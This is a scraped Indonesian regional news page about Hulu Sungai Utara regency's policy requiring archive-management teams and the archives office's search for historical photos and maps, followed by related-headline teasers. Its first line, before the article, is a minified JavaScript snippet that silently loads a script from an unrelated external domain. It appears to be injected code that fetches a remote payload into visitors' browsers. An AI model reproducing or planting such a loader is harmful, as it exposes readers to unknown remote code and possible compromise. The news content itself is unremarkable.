(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Arsip dokumen merupakan salah satu aset bersejarah yang dimiliki oleh lembaga, organisasi, daerah, dan bahkan negara. Dengan suatu aset, maka arsip dokumen tersebut memiliki potensi untuk dimanfaatkan pada masa yang akan datang. Mampu menunjang peran dan fungsi pemerintahan sebagai pemberi pelayanan publik kepada masyarakat yang mendukung terciptanya tata pemerintahan yang baik.
Mengingat pentingnya sebuah dokumen kearsipan dan tata kelola, maka berdasarkan kepada peraturan daerah Nomor 16 tahun 2015 tentang penyelenggaraan kearsipan di Kabupaten Hulu Sungai Utara (HSU) dan didasari oleh Undang-Undang Nomor 43 tahun 2009 tentang kearsipan. Pemerintah Kabupaten HSU mewajibkan setiap SKPD dan Aparatur Pemerintah Desa di HSU untuk membentuk tim pengelola kearsipan masing-masing.
Plt Dinas Perpustakaan dan Kearsipan (Dispersip) HSU Hj Lailatannur Raudah menuturkan, pengelolaan arsip di Kabupaten HSU mendapat perhatian penuh oleh pemerintah daerah, terbukti dengan adanya Perda mengenai pembentukan tim di setiap SKPD tidak hanya sebagai pengelola aset tetapi juga mengelola kearsipan.
Pembentukan tim pengelola aset di setiap SKPD atau di setiap pemerintah desa, Kabupaten HSU menjadi pelopor pertama di Kalsel yang membuat kebijakan tersebut.
“Tata kelola kearsipan sangatlah penting pada dasarnya tidak hanya untuk menjaga dan menyimpan suatu dokumen penting semata meliputi arsip statis maupun arsip dinamis (permanen),†katanya. Juga dapat dijadikan sebagai bentuk riwayat sejarah, dan juga dapat dijadikan sebagai bahan pengutan bukti keberadaan, letak wilayah, batas wilayah dan sebagainya.
Pihaknya selama ini, berusaha mencari beberapa dokumentasi yang selam ini hilang, seperti pencarian terhadap dokumentasi riwayat hidup perjalanan beberapa Bupati HSU. Dan pencarian dokumentasi foto-foto tempo dulu terkait dengan arsip daerah Kabupaten HSU.
“Disamping mengumpulkan dari para masyarakat melalui lomba foto Amuntai tempo dulu yang pernah digelar, kami juga selama ini menelusuri dokomen arsip tersebut sampai ke Arsip Nasional RI,†imbuh Lailatannur.
Di antara dokumen yang berhasil didapat melalui penelusuran Arsip Nasional RI, diantaranya foto-foto legendaris kunjungan Presiden RI pertama Ir Soekarno ke Amuntai, Alabio dan Danau Panggang. Foto diambil sekitar tahun 1950, serta peta kota Amuntai berdasarkan hasil pemetaan wilayah Amuntai oleh pihak pemerintah Belanda sekitar abad ke-19.(dewahyudi)
KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More
Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
This website uses cookies.